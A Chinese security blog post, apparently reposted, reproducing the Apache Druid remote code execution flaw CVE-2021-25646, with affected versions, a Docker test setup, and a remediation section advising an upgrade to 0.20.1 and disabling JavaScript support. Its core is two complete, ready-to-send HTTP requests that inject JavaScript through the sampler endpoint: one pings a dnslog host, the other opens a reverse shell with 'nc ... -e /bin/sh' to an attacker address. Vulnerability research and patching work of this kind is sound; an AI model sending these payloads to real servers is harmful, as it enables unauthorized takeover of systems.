【漏洞复现】Apache Druid 远程代码执行 CVE-2021-25646

本文介绍Apache Druid中存在的远程代码执行(CVE-2021-25646)漏洞,通过构造恶意JSON串,攻击者可在未授权的情况下执行任意代码。文章提供了漏洞复现步骤与修复建议。

 

0x00 前言

这个漏洞的根本问题是一个druid中全局性的问题,开发者在使用Jackson相关的标签时,出现疏漏,使得攻击者可以构造传入的json串来控制一些敏感的参数。

阿里云安全@Litch1向Apache官方报告了Apache Druid远程代码执行漏洞

当时 漏洞 已知,处于某些原因,提取的poc也没进行公布,今天醒来,看到很多公众号发 ,也就总结一下,集各家所长,写一个复现的文章。

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。

0x01 影响版本

Apache Druid < 0.20.1

0x02 环境搭建

这里不多写了,看了下 peiqi 写的,就直接沾过来,然后拿实战去复现就好了

Docker下载链接: https://github.com/apache/druid/archive/druid-0.20.0.zip

下载之后进入目录 distribution\docker

执行命令编译 docker-compose up -d

0x03 漏洞复现

1、POC:(POC主要是借助dnslog进行测试:ping xxxxx.dnslog.cn)

POST /druid/indexer/v1/sampler HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 995
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping xxxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

2、反弹shell:(采用nc反弹)

POST /druid/indexer/v1/sampler HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1008
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(' nc xxx.xxx.xxx.xxx 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

这边我没有做反弹的实验,就用的peiqi的图

0x04 修复建议

  1. 升级Apache Druid 到最新的0.20.1版本 https://github.com/apache/druid/releases/tag/druid-0.20.1
  2. 对Apache Druid进行权限控制,只允许受信任的主机访问集群服务器

转载请注明:Adminxe's Blog » 【漏洞复现】Apache Druid 远程代码执行 CVE-2021-25646

### 关于 Apache Druid 远程代码执行漏洞 #### 漏洞概述 Apache Druid 是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台。该平台允许执行用户提供的 JavaScript 代码,这些代码可以嵌入到各种类型的请求中。此功能默认情况下仅限于高信任度环境并已禁用。然而,在 Druid 版本 0.20.0 及更早版本中存在缺陷,使得经过身份验证的用户能够通过构造特定 JSON 请求来操控某些敏感参数,从而触发远程代码执行漏洞 CVE-2021-25646[^3]。 #### 影响范围 受影响的是 Apache Druid 0.20.0 或更低版本。任何运行上述版本的应用程序都可能面临被攻击的风险,因为攻击者可以通过精心设计的 HTTP 请求注入恶意脚本来获取对服务器的完全控制权[^4]。 #### 解决方案建议 为了防止此类攻击的发生,应采取以下措施: 1. **升级软件** 升级至最新稳定版的 Apache Druid 是最直接有效的解决办法。新版本已经修复了这一安全隐患,并引入了额外的安全机制以增强系统的鲁棒性和安全性。 2. **配置调整** 如果暂时无法立即更新,则需确保 `druid.extensions.loadList` 中不包含 `druid-javascript` 扩展插件;或者设置 `druid.ext.security.jsEnabled=false` 来彻底关闭 JavaScript 支持特性。 3. **权限管理** 对所有 API 接口实施严格的访问控制策略,限制只有必要的人员和服务才能调用涉及潜在风险的操作接口。同时加强内部网络隔离,减少外部威胁源接触核心业务逻辑的机会。 4. **监控审计** 建立健全的日志记录与异常行为检测体系,及时发现可疑活动并作出响应处理。定期审查日志文件,寻找是否存在未授权操作或尝试利用漏洞的行为模式。 ```bash # 更新命令示例 (具体取决于部署方式) sudo yum update apache-druid -y # 使用yum包管理器时 ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值